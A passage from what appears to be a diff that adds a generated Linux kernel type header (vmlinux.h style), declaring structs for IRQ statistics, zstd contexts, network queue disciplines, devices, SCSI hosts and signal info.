hsiphash_key_t; + +typedef struct { + unsigned int __nmi_count; + unsigned int apic_timer_irqs; + unsigned int irq_spurious_count; + unsigned int icr_read_retry_count; + unsigned int x86_platform_ipis; + unsigned int apic_perf_irqs; + unsigned int apic_irq_work_irqs; + unsigned int irq_resched_count; + unsigned int irq_call_count; + unsigned int irq_tlb_count; + unsigned int irq_thermal_count; + long: 64; + long: 64; +} irq_cpustat_t; + +typedef struct { + u64 val; +} kernel_cap_t; + +typedef struct { + gid_t val; +} kgid_t; + +typedef struct { + projid_t val; +} kprojid_t; + +typedef struct { + uid_t val; +} kuid_t; + +typedef struct { + U32 offset; + U32 checksum; +} ldmEntry_t; + +typedef struct { + const BYTE *split; + U32 hash; + U32 checksum; + ldmEntry_t *bucket; +} ldmMatchCandidate_t; + +typedef struct { + ZSTD_paramSwitch_e enableLdm; + U32 hashLog; + U32 bucketSizeLog; + U32 minMatchLength; + U32 hashRateLog; + U32 windowLog; +} ldmParams_t; + +typedef struct { + U64 rolling; + U64 stopMask; +} ldmRollingHashState_t; + +typedef struct { + ZSTD_window_t window; + ldmEntry_t *hashTable; + U32 loadedDictEnd; + BYTE *bucketOffsets; + size_t splitIndices[64]; + ldmMatchCandidate_t matchCandidates[64]; +} ldmState_t; + +typedef struct { + __le64 b; + __le64 a; +} le128; + +typedef struct { + atomic_long_t a; +} local_t; + +typedef struct { + local_t a; +} local64_t; + +typedef struct { + struct lockdep_map dep_map; + struct task_struct *owner; +} local_lock_t; + +struct optimistic_spin_queue { + atomic_t tail; +}; + +struct raw_spinlock { + arch_spinlock_t raw_lock; + unsigned int magic; + unsigned int owner_cpu; + void *owner; + struct lockdep_map dep_map; +}; + +struct rw_semaphore { + atomic_long_t count; + atomic_long_t owner; + struct optimistic_spin_queue osq; + raw_spinlock_t wait_lock; + struct list_head wait_list; + void *magic; + struct lockdep_map dep_map; +}; + +struct mutex { + atomic_long_t owner; + raw_spinlock_t wait_lock; + struct optimistic_spin_queue osq; + struct list_head wait_list; + void *magic; + struct lockdep_map dep_map; +}; + +struct ldt_struct; + +struct vdso_image; + +typedef struct { + u64 ctx_id; + atomic64_t tlb_gen; + struct rw_semaphore ldt_usr_sem; + struct ldt_struct *ldt; + unsigned long flags; + struct mutex lock; + void __attribute__((btf_type_tag("user"))) *vdso; + const struct vdso_image *vdso_image; + atomic_t perf_rdpmc_allowed; + u16 pkey_allocation_map; + s16 execute_only_pkey; +} mm_context_t; + +typedef struct {} netdevice_tracker; + +typedef struct {} netns_tracker; + +typedef struct { + unsigned long bits[16]; +} nodemask_t; + +typedef struct { + pgdval_t pgd; +} pgd_t; + +typedef struct { + pgd_t pgd; +} p4d_t; + +typedef struct { + u64 pme; +} pagemap_entry_t; + +typedef struct { + u64 val; +} pfn_t; + +typedef struct { + pmdval_t pmd; +} pmd_t; + +typedef struct { + unsigned long bits[4]; +} pnp_irq_mask_t; + +struct net; + +typedef struct { + struct net __attribute__((btf_type_tag("rcu"))) *net; +} possible_net_t; + +typedef struct { + pteval_t pte; +} pte_t; + +typedef struct { + pudval_t pud; +} pud_t; + +typedef struct { + unsigned short encoding; + unsigned short parity; +} raw_hdlc_proto; + +typedef struct { + atomic_t refcnt; +} rcuref_t; + +typedef struct { + size_t written; + size_t count; + union { + char __attribute__((btf_type_tag("user"))) *buf; + void *data; + } arg; + int error; +} read_descriptor_t; + +struct encoded_page; + +typedef union { + struct page **pages; + struct folio **folios; + struct encoded_page **encoded_pages; +} release_pages_arg; + +typedef struct { + BIT_DStream_t DStream; + ZSTD_fseState stateLL; + ZSTD_fseState stateOffb; + ZSTD_fseState stateML; + size_t prevOffset[3]; +} seqState_t; + +typedef struct { + U32 *splitLocations; + size_t idx; +} seqStoreSplits; + +typedef struct { + size_t litLength; + size_t matchLength; + size_t offset; +} seq_t; + +struct seqcount { + unsigned int sequence; + struct lockdep_map dep_map; +}; + +typedef struct seqcount seqcount_t; + +typedef struct { + seqcount_t seqcount; +} seqcount_latch_t; + +struct seqcount_spinlock { + seqcount_t seqcount; + spinlock_t *lock; +}; + +typedef struct seqcount_spinlock seqcount_spinlock_t; + +struct spinlock { + union { + struct raw_spinlock rlock; + struct { + u8 __padding[24]; + struct lockdep_map dep_map; + }; + }; +}; + +typedef struct { + seqcount_spinlock_t seqcount; + spinlock_t lock; +} seqlock_t; + +typedef struct { + unsigned long sig[1]; +} sigset_t; + +typedef struct { + u64 key[2]; +} siphash_key_t; + +struct wait_queue_head { + spinlock_t lock; + struct list_head head; +}; + +typedef struct wait_queue_head wait_queue_head_t; + +typedef struct { + spinlock_t slock; + int owned; + wait_queue_head_t wq; + struct lockdep_map dep_map; +} socket_lock_t; + +typedef struct { + char *from; + char *to; +} substring_t; + +typedef struct { + unsigned long val; +} swp_entry_t; + +typedef struct { + unsigned int clock_rate; + unsigned int clock_type; + unsigned short loopback; +} sync_serial_settings; + +typedef struct { + unsigned int clock_rate; + unsigned int clock_type; + unsigned short loopback; + unsigned int slot_map; +} te1_settings; + +struct mm_struct; + +typedef struct { + struct mm_struct *mm; +} temp_mm_state_t; + +typedef struct { + local64_t v; +} u64_stats_t; + +typedef struct { + unsigned short dce; + unsigned int modulo; + unsigned int window; + unsigned int t1; + unsigned int t2; + unsigned int n2; +} x25_hdlc_proto; + +typedef struct { + __u8 b[16]; +} uuid_t; + +typedef struct { + gid_t val; +} vfsgid_t; + +typedef struct { + uid_t val; +} vfsuid_t; + +typedef ZSTD_compressionParameters zstd_compression_parameters; + +typedef ZSTD_customMem zstd_custom_mem; + +typedef ZSTD_frameHeader zstd_frame_header; + +typedef ZSTD_parameters zstd_parameters; + +union IO_APIC_reg_00 { + u32 raw; + struct { + u32 __reserved_2: 14; + u32 LTS: 1; + u32 delivery_type: 1; + u32 __reserved_1: 8; + u32 ID: 8; + } bits; +}; + +union IO_APIC_reg_01 { + u32 raw; + struct { + u32 version: 8; + u32 __reserved_2: 7; + u32 PRQ: 1; + u32 entries: 8; + u32 __reserved_1: 8; + } bits; +}; + +union IO_APIC_reg_02 { + u32 raw; + struct { + u32 __reserved_2: 24; + u32 arbitration: 4; + u32 __reserved_1: 4; + } bits; +}; + +union IO_APIC_reg_03 { + u32 raw; + struct { + u32 boot_DT: 1; + u32 __reserved_1: 31; + } bits; +}; + +struct IO_APIC_route_entry { + union { + struct { + u64 vector: 8; + u64 delivery_mode: 3; + u64 dest_mode_logical: 1; + u64 delivery_status: 1; + u64 active_low: 1; + u64 irr: 1; + u64 is_level: 1; + u64 masked: 1; + u64 reserved_0: 15; + u64 reserved_1: 17; + u64 virt_destid_8_14: 7; + u64 destid_0_7: 8; + }; + struct { + u64 ir_shared_0: 8; + u64 ir_zero: 3; + u64 ir_index_15: 1; + u64 ir_shared_1: 5; + u64 ir_reserved_0: 31; + u64 ir_format: 1; + u64 ir_index_0_14: 15; + }; + struct { + u64 w1: 32; + u64 w2: 32; + }; + }; +}; + +struct hlist_node { + struct hlist_node *next; + struct hlist_node **pprev; +}; + +struct sk_buff; + +struct sk_buff_list { + struct sk_buff *next; + struct sk_buff *prev; +}; + +struct sk_buff_head { + union { + struct { + struct sk_buff *next; + struct sk_buff *prev; + }; + struct sk_buff_list list; + }; + __u32 qlen; + spinlock_t lock; +}; + +struct qdisc_skb_head { + struct sk_buff *head; + struct sk_buff *tail; + __u32 qlen; + spinlock_t lock; +}; + +struct u64_stats_sync {}; + +struct gnet_stats_basic_sync { + u64_stats_t bytes; + u64_stats_t packets; + struct u64_stats_sync syncp; +}; + +struct gnet_stats_queue { + __u32 qlen; + __u32 backlog; + __u32 drops; + __u32 requeues; + __u32 overlimits; +}; + +struct callback_head { + struct callback_head *next; + void (*func)(struct callback_head *); +}; + +struct lockdep_subclass_key { + char __one_byte; +}; + +struct lock_class_key { + union { + struct hlist_node hash_entry; + struct lockdep_subclass_key subkeys[8]; + }; +}; + +struct Qdisc_ops; + +struct qdisc_size_table; + +struct netdev_queue; + +struct net_rate_estimator; + +struct Qdisc { + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff **); + struct sk_buff * (*dequeue)(struct Qdisc *); + unsigned int flags; + u32 limit; + const struct Qdisc_ops *ops; + struct qdisc_size_table __attribute__((btf_type_tag("rcu"))) *stab; + struct hlist_node hash; + u32 handle; + u32 parent; + struct netdev_queue *dev_queue; + struct net_rate_estimator __attribute__((btf_type_tag("rcu"))) *rate_est; + struct gnet_stats_basic_sync __attribute__((btf_type_tag("percpu"))) *cpu_bstats; + struct gnet_stats_queue __attribute__((btf_type_tag("percpu"))) *cpu_qstats; + int pad; + refcount_t refcnt; + long: 64; + long: 64; + long: 64; + struct sk_buff_head gso_skb; + struct qdisc_skb_head q; + struct gnet_stats_basic_sync bstats; + struct gnet_stats_queue qstats; + int owner; + unsigned long state; + unsigned long state2; + struct Qdisc *next_sched; + struct sk_buff_head skb_bad_txq; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t busylock; + spinlock_t seqlock; + struct callback_head rcu; + netdevice_tracker dev_tracker; + struct lock_class_key root_lock_key; + long: 64; + long: 64; + long: 64; + long: 64; + long privdata[0]; +}; + +struct tcmsg; + +struct netlink_ext_ack; + +struct nlattr; + +struct qdisc_walker; + +struct tcf_block; + +struct gnet_dump; + +struct Qdisc_class_ops { + unsigned int flags; + struct netdev_queue * (*select_queue)(struct Qdisc *, struct tcmsg *); + int (*graft)(struct Qdisc *, unsigned long, struct Qdisc *, struct Qdisc **, struct netlink_ext_ack *); + struct Qdisc * (*leaf)(struct Qdisc *, unsigned long); + void (*qlen_notify)(struct Qdisc *, unsigned long); + unsigned long (*find)(struct Qdisc *, u32); + int (*change)(struct Qdisc *, u32, u32, struct nlattr **, unsigned long *, struct netlink_ext_ack *); + int (*delete)(struct Qdisc *, unsigned long, struct netlink_ext_ack *); + void (*walk)(struct Qdisc *, struct qdisc_walker *); + struct tcf_block * (*tcf_block)(struct Qdisc *, unsigned long, struct netlink_ext_ack *); + unsigned long (*bind_tcf)(struct Qdisc *, unsigned long, u32); + void (*unbind_tcf)(struct Qdisc *, unsigned long); + int (*dump)(struct Qdisc *, unsigned long, struct sk_buff *, struct tcmsg *); + int (*dump_stats)(struct Qdisc *, unsigned long, struct gnet_dump *); +}; + +struct module; + +struct Qdisc_ops { + struct Qdisc_ops *next; + const struct Qdisc_class_ops *cl_ops; + char id[16]; + int priv_size; + unsigned int static_flags; + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff **); + struct sk_buff * (*dequeue)(struct Qdisc *); + struct sk_buff * (*peek)(struct Qdisc *); + int (*init)(struct Qdisc *, struct nlattr *, struct netlink_ext_ack *); + void (*reset)(struct Qdisc *); + void (*destroy)(struct Qdisc *); + int (*change)(struct Qdisc *, struct nlattr *, struct netlink_ext_ack *); + void (*attach)(struct Qdisc *); + int (*change_tx_queue_len)(struct Qdisc *, unsigned int); + void (*change_real_num_tx)(struct Qdisc *, unsigned int); + int (*dump)(struct Qdisc *, struct sk_buff *); + int (*dump_stats)(struct Qdisc *, struct gnet_dump *); + void (*ingress_block_set)(struct Qdisc *, u32); + void (*egress_block_set)(struct Qdisc *, u32); + u32 (*ingress_block_get)(struct Qdisc *); + u32 (*egress_block_get)(struct Qdisc *); + struct module *owner; +}; + +struct RR_CL_s { + __u8 location[8]; +}; + +struct RR_NM_s { + __u8 flags; + char name[0]; +}; + +struct RR_PL_s { + __u8 location[8]; +}; + +struct RR_PN_s { + __u8 dev_high[8]; + __u8 dev_low[8]; +}; + +struct RR_PX_s { + __u8 mode[8]; + __u8 n_links[8]; + __u8 uid[8]; + __u8 gid[8]; +}; + +struct RR_RR_s { + __u8 flags[1]; +}; + +struct SL_component { + __u8 flags; + __u8 len; + __u8 text[0]; +}; + +struct RR_SL_s { + __u8 flags; + struct SL_component link; +}; + +struct stamp { + __u8 time[7]; +}; + +struct RR_TF_s { + __u8 flags; + struct stamp times[0]; +}; + +struct RR_ZF_s { + __u8 algorithm[2]; + __u8 parms[2]; + __u8 real_size[8]; +}; + +struct RxDesc { + __le32 opts1; + __le32 opts2; + __le64 addr; +}; + +struct SU_CE_s { + __u8 extent[8]; + __u8 offset[8]; + __u8 size[8]; +}; + +struct SU_ER_s { + __u8 len_id; + __u8 len_des; + __u8 len_src; + __u8 ext_ver; + __u8 data[0]; +}; + +struct SU_SP_s { + __u8 magic[2]; + __u8 skip; +}; + +struct kref { + refcount_t refcount; +}; + +struct swait_queue_head { + raw_spinlock_t lock; + struct list_head task_list; +}; + +struct completion { + unsigned int done; + struct swait_queue_head wait; +}; + +struct blk_mq_queue_map { + unsigned int *mq_map; + unsigned int nr_queues; + unsigned int queue_offset; +}; + +struct blk_mq_ops; + +struct blk_mq_tags; + +struct srcu_struct; + +struct blk_mq_tag_set { + const struct blk_mq_ops *ops; + struct blk_mq_queue_map map[3]; + unsigned int nr_maps; + unsigned int nr_hw_queues; + unsigned int queue_depth; + unsigned int reserved_tags; + unsigned int cmd_size; + int numa_node; + unsigned int timeout; + unsigned int flags; + void *driver_data; + struct blk_mq_tags **tags; + struct blk_mq_tags *shared_tags; + struct mutex tag_list_lock; + struct list_head tag_list; + struct srcu_struct *srcu; +}; + +struct kset; + +struct kobj_type; + +struct kernfs_node; + +struct kobject { + const char *name; + struct list_head entry; + struct kobject *parent; + struct kset *kset; + const struct kobj_type *ktype; + struct kernfs_node *sd; + struct kref kref; + unsigned int state_initialized: 1; + unsigned int state_in_sysfs: 1; + unsigned int state_add_uevent_sent: 1; + unsigned int state_remove_uevent_sent: 1; + unsigned int uevent_suppress: 1; +}; + +struct dev_links_info { + struct list_head suppliers; + struct list_head consumers; + struct list_head defer_sync; + enum dl_dev_state status; +}; + +struct pm_message { + int event; +}; + +typedef struct pm_message pm_message_t; + +struct rb_node { + unsigned long __rb_parent_color; + struct rb_node *rb_right; + struct rb_node *rb_left; +}; + +struct timerqueue_node { + struct rb_node node; + ktime_t expires; +}; + +struct hrtimer_clock_base; + +struct hrtimer { + struct timerqueue_node node; + ktime_t _softexpires; + enum hrtimer_restart (*function)(struct hrtimer *); + struct hrtimer_clock_base *base; + u8 state; + u8 is_rel; + u8 is_soft; + u8 is_hard; +}; + +struct work_struct; + +typedef void (*work_func_t)(struct work_struct *); + +struct work_struct { + atomic_long_t data; + struct list_head entry; + work_func_t func; + struct lockdep_map lockdep_map; +}; + +struct wakeup_source; + +struct wake_irq; + +struct pm_subsys_data; + +struct device; + +struct dev_pm_qos; + +struct dev_pm_info { + pm_message_t power_state; + bool can_wakeup: 1; + bool async_suspend: 1; + bool in_dpm_list: 1; + bool is_prepared: 1; + bool is_suspended: 1; + bool is_noirq_suspended: 1; + bool is_late_suspended: 1; + bool no_pm: 1; + bool early_init: 1; + bool direct_complete: 1; + u32 driver_flags; + spinlock_t lock; + struct list_head entry; + struct completion completion; + struct wakeup_source *wakeup; + bool wakeup_path: 1; + bool syscore: 1; + bool no_pm_callbacks: 1; + bool async_in_progress: 1; + bool must_resume: 1; + bool may_skip_resume: 1; + struct hrtimer suspend_timer; + u64 timer_expires; + struct work_struct work; + wait_queue_head_t wait_queue; + struct wake_irq *wakeirq; + atomic_t usage_count; + atomic_t child_count; + unsigned int disable_depth: 3; + bool idle_notification: 1; + bool request_pending: 1; + bool deferred_resume: 1; + bool needs_force_resume: 1; + bool runtime_auto: 1; + bool ignore_children: 1; + bool no_callbacks: 1; + bool irq_safe: 1; + bool use_autosuspend: 1; + bool timer_autosuspends: 1; + bool memalloc_noio: 1; + unsigned int links_count; + enum rpm_request request; + enum rpm_status runtime_status; + enum rpm_status last_status; + int runtime_error; + int autosuspend_delay; + u64 last_busy; + u64 active_time; + u64 suspended_time; + u64 accounting_timestamp; + struct pm_subsys_data *subsys_data; + void (*set_latency_tolerance)(struct device *, s32); + struct dev_pm_qos *qos; +}; + +struct irq_domain; + +struct msi_device_data; + +struct dev_msi_info { + struct irq_domain *domain; + struct msi_device_data *data; +}; + +struct dev_archdata {}; + +struct dev_iommu; + +struct device_private; + +struct device_type; + +struct bus_type; + +struct device_driver; + +struct dev_pm_domain; + +struct bus_dma_region; + +struct device_dma_parameters; + +struct io_tlb_mem; + +struct device_node; + +struct fwnode_handle; + +struct class; + +struct attribute_group; + +struct iommu_group; + +struct device_physical_location; + +struct device { + struct kobject kobj; + struct device *parent; + struct device_private *p; + const char *init_name; + const struct device_type *type; + const struct bus_type *bus; + struct device_driver *driver; + void *platform_data; + void *driver_data; + struct mutex mutex; + struct dev_links_info links; + struct dev_pm_info power; + struct dev_pm_domain *pm_domain; + struct dev_msi_info msi; + u64 *dma_mask; + u64 coherent_dma_mask; + u64 bus_dma_limit; + const struct bus_dma_region *dma_range_map; + struct device_dma_parameters *dma_parms; + struct list_head dma_pools; + struct io_tlb_mem *dma_io_tlb_mem; + struct dev_archdata archdata; + struct device_node *of_node; + struct fwnode_handle *fwnode; + int numa_node; + dev_t devt; + u32 id; + spinlock_t devres_lock; + struct list_head devres_head; + const struct class *class; + const struct attribute_group **groups; + void (*release)(struct device *); + struct iommu_group *iommu_group; + struct dev_iommu *iommu; + struct device_physical_location *physical_location; + enum device_removable removable; + bool offline_disabled: 1; + bool offline: 1; + bool of_node_reused: 1; + bool state_synced: 1; + bool can_match: 1; + bool dma_skip_sync: 1; +}; + +struct scsi_host_template; + +struct scsi_transport_template; + +struct workqueue_struct; + +struct Scsi_Host { + struct list_head __devices; + struct list_head __targets; + struct list_head starved_list; + spinlock_t default_lock; + spinlock_t *host_lock; + struct mutex scan_mutex; + struct list_head eh_abort_list; + struct list_head eh_cmd_q; + struct task_struct *ehandler; + struct completion *eh_action; + wait_queue_head_t host_wait; + const struct scsi_host_template *hostt; + struct scsi_transport_template *transportt; + struct kref tagset_refcnt; + struct completion tagset_freed; + struct blk_mq_tag_set tag_set; + atomic_t host_blocked; + unsigned int host_failed; + unsigned int host_eh_scheduled; + unsigned int host_no; + int eh_deadline; + unsigned long last_reset; + unsigned int max_channel; + unsigned int max_id; + u64 max_lun; + unsigned int unique_id; + unsigned short max_cmd_len; + int this_id; + int can_queue; + short cmd_per_lun; + unsigned short sg_tablesize; + unsigned short sg_prot_tablesize; + unsigned int max_sectors; + unsigned int opt_sectors; + unsigned int max_segment_size; + unsigned int dma_alignment; + unsigned long dma_boundary; + unsigned long virt_boundary_mask; + unsigned int nr_hw_queues; + unsigned int nr_maps; + unsigned int active_mode: 2; + unsigned int host_self_blocked: 1; + unsigned int reverse_ordering: 1; + unsigned int tmf_in_progress: 1; + unsigned int async_scan: 1; + unsigned int eh_noresume: 1; + unsigned int no_write_same: 1; + unsigned int host_tagset: 1; + unsigned int queuecommand_may_block: 1; + unsigned int short_inquiry: 1; + unsigned int no_scsi2_lun_in_cdb: 1; + unsigned int no_highmem: 1; + struct workqueue_struct *work_q; + struct workqueue_struct *tmf_work_q; + unsigned int max_host_blocked; + unsigned int prot_capabilities; + unsigned char prot_guard_type; + unsigned long base; + unsigned long io_port; + unsigned char n_io_port; + unsigned char dma_channel; + unsigned int irq; + enum scsi_host_state shost_state; + struct device shost_gendev; + struct device shost_dev; + void *shost_data; + struct device *dma_dev; + int rpm_autosuspend_delay; + unsigned long hostdata[0]; +}; + +struct TxDesc { + __le32 opts1; + __le32 opts2; + __le64 addr; +}; + +struct ZSTD_CCtx_params_s { + ZSTD_format_e format; + ZSTD_compressionParameters cParams; + ZSTD_frameParameters fParams; + int compressionLevel; + int forceWindow; + size_t targetCBlockSize; + int srcSizeHint; + ZSTD_dictAttachPref_e attachDictPref; + ZSTD_paramSwitch_e literalCompressionMode; + int nbWorkers; + size_t jobSize; + int overlapLog; + int rsyncable; + ldmParams_t ldmParams; + int enableDedicatedDictSearch; + ZSTD_bufferMode_e inBufferMode; + ZSTD_bufferMode_e outBufferMode; + ZSTD_sequenceFormat_e blockDelimiters; + int validateSequences; + ZSTD_paramSwitch_e useBlockSplitter; + ZSTD_paramSwitch_e useRowMatchFinder; + int deterministicRefPrefix; + ZSTD_customMem customMem; +}; + +typedef struct ZSTD_CCtx_params_s ZSTD_CCtx_params; + +struct xxh64_state { + uint64_t total_len; + uint64_t v1; + uint64_t v2; + uint64_t v3; + uint64_t v4; + uint64_t mem64[4]; + uint32_t memsize; +}; + +struct POOL_ctx_s; + +typedef struct POOL_ctx_s ZSTD_threadPool; + +struct ZSTD_inBuffer_s { + const void *src; + size_t size; + size_t pos; +}; + +typedef struct ZSTD_inBuffer_s ZSTD_inBuffer; + +struct ZSTD_prefixDict_s { + const void *dict; + size_t dictSize; + ZSTD_dictContentType_e dictContentType; +}; + +typedef struct ZSTD_prefixDict_s ZSTD_prefixDict; + +struct ZSTD_CCtx_s { + ZSTD_compressionStage_e stage; + int cParamsChanged; + int bmi2; + ZSTD_CCtx_params requestedParams; + ZSTD_CCtx_params appliedParams; + ZSTD_CCtx_params simpleApiParams; + U32 dictID; + size_t dictContentSize; + ZSTD_cwksp workspace; + size_t blockSize; + unsigned long long pledgedSrcSizePlusOne; + unsigned long long consumedSrcSize; + unsigned long long producedCSize; + struct xxh64_state xxhState; + ZSTD_customMem customMem; + ZSTD_threadPool *pool; + size_t staticSize; + SeqCollector seqCollector; + int isFirstBlock; + int initialized; + seqStore_t seqStore; + ldmState_t ldmState; + rawSeq *ldmSequences; + size_t maxNbLdmSequences; + rawSeqStore_t externSeqStore; + ZSTD_blockState_t blockState; + U32 *entropyWorkspace; + ZSTD_buffered_policy_e bufferedPolicy; + char *inBuff; + size_t inBuffSize; + size_t inToCompress; + size_t inBuffPos; + size_t inBuffTarget; + char *outBuff; + size_t outBuffSize; + size_t outBuffContentSize; + size_t outBuffFlushedSize; + ZSTD_cStreamStage streamStage; + U32 frameEnded; + ZSTD_inBuffer expectedInBuffer; + size_t expectedOutBufferSize; + ZSTD_localDict localDict; + const ZSTD_CDict *cdict; + ZSTD_prefixDict prefixDict; + ZSTD_blockSplitCtx blockSplitCtx; +}; + +typedef struct ZSTD_CCtx_s ZSTD_CCtx; + +typedef ZSTD_CCtx ZSTD_CStream; + +typedef ZSTD_CCtx zstd_cctx; + +typedef ZSTD_CStream zstd_cstream; + +struct ZSTD_CDict_s { + const void *dictContent; + size_t dictContentSize; + ZSTD_dictContentType_e dictContentType; + U32 *entropyWorkspace; + ZSTD_cwksp workspace; + ZSTD_matchState_t matchState; + ZSTD_compressedBlockState_t cBlockState; + ZSTD_customMem customMem; + U32 dictID; + int compressionLevel; + ZSTD_paramSwitch_e useRowMatchFinder; +}; + +typedef ZSTD_CDict zstd_cdict; + +struct ZSTD_outBuffer_s { + void *dst; + size_t size; + size_t pos; +}; + +typedef struct ZSTD_outBuffer_s ZSTD_outBuffer; + +struct ZSTD_DCtx_s { + const ZSTD_seqSymbol *LLTptr; + const ZSTD_seqSymbol *MLTptr; + const ZSTD_seqSymbol *OFTptr; + const HUF_DTable *HUFptr; + ZSTD_entropyDTables_t entropy; + U32 workspace[640]; + const void *previousDstEnd; + const void *prefixStart; + const void *virtualStart; + const void *dictEnd; + size_t expected; + ZSTD_frameHeader fParams; + U64 processedCSize; + U64 decodedSize; + blockType_e bType; + ZSTD_dStage stage; + U32 litEntropy; + U32 fseEntropy; + struct xxh64_state xxhState; + size_t headerSize; + ZSTD_format_e format; + ZSTD_forceIgnoreChecksum_e forceIgnoreChecksum; + U32 validateChecksum; + const BYTE *litPtr; + ZSTD_customMem customMem; + size_t litSize; + size_t rleSize; + size_t staticSize; + int bmi2; + ZSTD_DDict *ddictLocal; + const ZSTD_DDict *ddict; + U32 dictID; + int ddictIsCold; + ZSTD_dictUses_e dictUses; + ZSTD_DDictHashSet *ddictSet; + ZSTD_refMultipleDDicts_e refMultipleDDicts; + ZSTD_dStreamStage streamStage; + char *inBuff; + size_t inBuffSize; + size_t inPos; + size_t maxWindowSize; + char *outBuff; + size_t outBuffSize; + size_t outStart; + size_t outEnd; + size_t lhSize; + U32 hostageByte; + int noForwardProgress; + ZSTD_bufferMode_e outBufferMode; + ZSTD_outBuffer expectedOutBuffer; + BYTE *litBuffer; + const BYTE *litBufferEnd; + ZSTD_litLocation_e litBufferLocation; + BYTE litExtraBuffer[65568]; + BYTE headerBuffer[18]; + size_t oversizedDuration; +}; + +typedef struct ZSTD_DCtx_s ZSTD_DCtx; + +typedef ZSTD_DCtx ZSTD_DStream; + +typedef ZSTD_DCtx zstd_dctx; + +typedef ZSTD_DStream zstd_dstream; + +struct ZSTD_DDict_s { + void *dictBuffer; + const void *dictContent; + size_t dictSize; + ZSTD_entropyDTables_t entropy; + U32 dictID; + U32 entropyPresent; + ZSTD_customMem cMem; +}; + +typedef ZSTD_DDict zstd_ddict; + +typedef ZSTD_inBuffer zstd_in_buffer; + +typedef ZSTD_outBuffer zstd_out_buffer; + +struct __aio_sigset { + const sigset_t __attribute__((btf_type_tag("user"))) *sigmask; + size_t sigsetsize; +}; + +struct __arch_relative_insn { + u8 op; + s32 raddr; +} __attribute__((packed)); + +struct __bridge_info { + __u64 designated_root; + __u64 bridge_id; + __u32 root_path_cost; + __u32 max_age; + __u32 hello_time; + __u32 forward_delay; + __u32 bridge_max_age; + __u32 bridge_hello_time; + __u32 bridge_forward_delay; + __u8 topology_change; + __u8 topology_change_detected; + __u8 root_port; + __u8 stp_enabled; + __u32 ageing_time; + __u32 gc_interval; + __u32 hello_timer_value; + __u32 tcn_timer_value; + __u32 topology_change_timer_value; + __u32 gc_timer_value; +}; + +struct llist_node { + struct llist_node *next; +}; + +struct __call_single_node { + struct llist_node llist; + union { + unsigned int u_flags; + atomic_t a_flags; + }; + u16 src; + u16 dst; +}; + +typedef void (*smp_call_func_t)(void *); + +struct __call_single_data { + struct __call_single_node node; + smp_call_func_t func; + void *info; +}; + +typedef struct __call_single_data call_single_data_t; + +struct cpumask; + +struct __cmp_key { + const struct cpumask *cpus; + struct cpumask ***masks; + int node; + int cpu; + int w; +}; + +struct __fat_dirent { + long d_ino; + __kernel_off_t d_off; + unsigned short d_reclen; + char d_name[256]; +}; + +struct __fb_timings { + u32 dclk; + u32 hfreq; + u32 vfreq; + u32 hactive; + u32 vactive; + u32 hblank; + u32 vblank; + u32 htotal; + u32 vtotal; +}; + +struct __fdb_entry { + __u8 mac_addr[6]; + __u8 port_no; + __u8 is_local; + __u32 ageing_timer_value; + __u8 port_hi; + __u8 pad0; + __u16 unused; +}; + +struct genradix_root; + +struct __genradix { + struct genradix_root *root; +}; + +struct pmu; + +struct cgroup; + +struct __group_key { + int cpu; + struct pmu *pmu; + struct cgroup *cgroup; +}; + +struct __kernel_timespec { + __kernel_time64_t tv_sec; + long long tv_nsec; +}; + +struct __kernel_itimerspec { + struct __kernel_timespec it_interval; + struct __kernel_timespec it_value; +}; + +struct __kernel_old_timeval { + __kernel_long_t tv_sec; + __kernel_long_t tv_usec; +}; + +struct __kernel_old_itimerval { + struct __kernel_old_timeval it_interval; + struct __kernel_old_timeval it_value; +}; + +struct __kernel_old_timespec { + __kernel_old_time_t tv_sec; + long tv_nsec; +}; + +struct __kernel_sock_timeval { + __s64 tv_sec; + __s64 tv_usec; +}; + +struct __kernel_sockaddr_storage { + union { + struct { + __kernel_sa_family_t ss_family; + char __data[126]; + }; + void *__align; + }; +}; + +struct __kernel_timex_timeval { + __kernel_time64_t tv_sec; + long long tv_usec; +}; + +struct __kernel_timex { + unsigned int modes; + long long offset; + long long freq; + long long maxerror; + long long esterror; + int status; + long long constant; + long long precision; + long long tolerance; + struct __kernel_timex_timeval time; + long long tick; + long long ppsfreq; + long long jitter; + int shift; + long long stabil; + long long jitcnt; + long long calcnt; + long long errcnt; + long long stbcnt; + int tai; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct __kfifo { + unsigned int in; + unsigned int out; + unsigned int mask; + unsigned int esize; + void *data; +}; + +struct __large_struct { + unsigned long buf[100]; +}; + +struct nft_payload { + enum nft_payload_bases base: 8; + u8 offset; + u8 len; + u8 dreg; +}; + +struct nft_meta { + enum nft_meta_keys key: 8; + u8 len; + union { + u8 dreg; + u8 sreg; + }; +}; + +struct nft_expr_ops; + +struct __nft_expr { + const struct nft_expr_ops *ops; + union { + struct nft_payload payload; + struct nft_meta meta; + }; +}; + +struct __old_kernel_stat { + unsigned short st_dev; + unsigned short st_ino; + unsigned short st_mode; + unsigned short st_nlink; + unsigned short st_uid; + unsigned short st_gid; + unsigned short st_rdev; + unsigned int st_size; + unsigned int st_atime; + unsigned int st_mtime; + unsigned int st_ctime; +}; + +struct __port_info { + __u64 designated_root; + __u64 designated_bridge; + __u16 port_id; + __u16 designated_port; + __u32 path_cost; + __u32 designated_cost; + __u8 state; + __u8 top_change_ack; + __u8 config_pending; + __u8 unused0; + __u32 message_age_timer_value; + __u32 forward_delay_timer_value; + __u32 hold_timer_value; +}; + +union sigval { + int sival_int; + void __attribute__((btf_type_tag("user"))) *sival_ptr; +}; + +typedef union sigval sigval_t; + +union __sifields { + struct { + __kernel_pid_t _pid; + __kernel_uid32_t _uid; + } _kill; + struct { + __kernel_timer_t _tid; + int _overrun; + sigval_t _sigval; + int _sys_private; + } _timer; + struct { + __kernel_pid_t _pid; + __kernel_uid32_t _uid; + sigval_t _sigval; + } _rt; + struct { + __kernel_pid_t _pid; + __kernel_uid32_t _uid; + int _status; + __kernel_clock_t _utime; + __kernel_clock_t _stime; + } _sigchld; + struct { + void __attribute__((btf_type_tag("user"))) *_addr; + union { + int _trapno; + short _addr_lsb; + struct { + char _dummy_bnd[8]; + void __attribute__((btf_type_tag("user"))) *_lower; + void __attribute__((btf_type_tag("user"))) *_upper; + } _addr_bnd; + struct { + char _dummy_pkey[8]; + __u32 _pkey; + } _addr_pkey; + struct { + unsigned long _data; + __u32 _type; + __u32 _flags; + } _perf; + }; + } 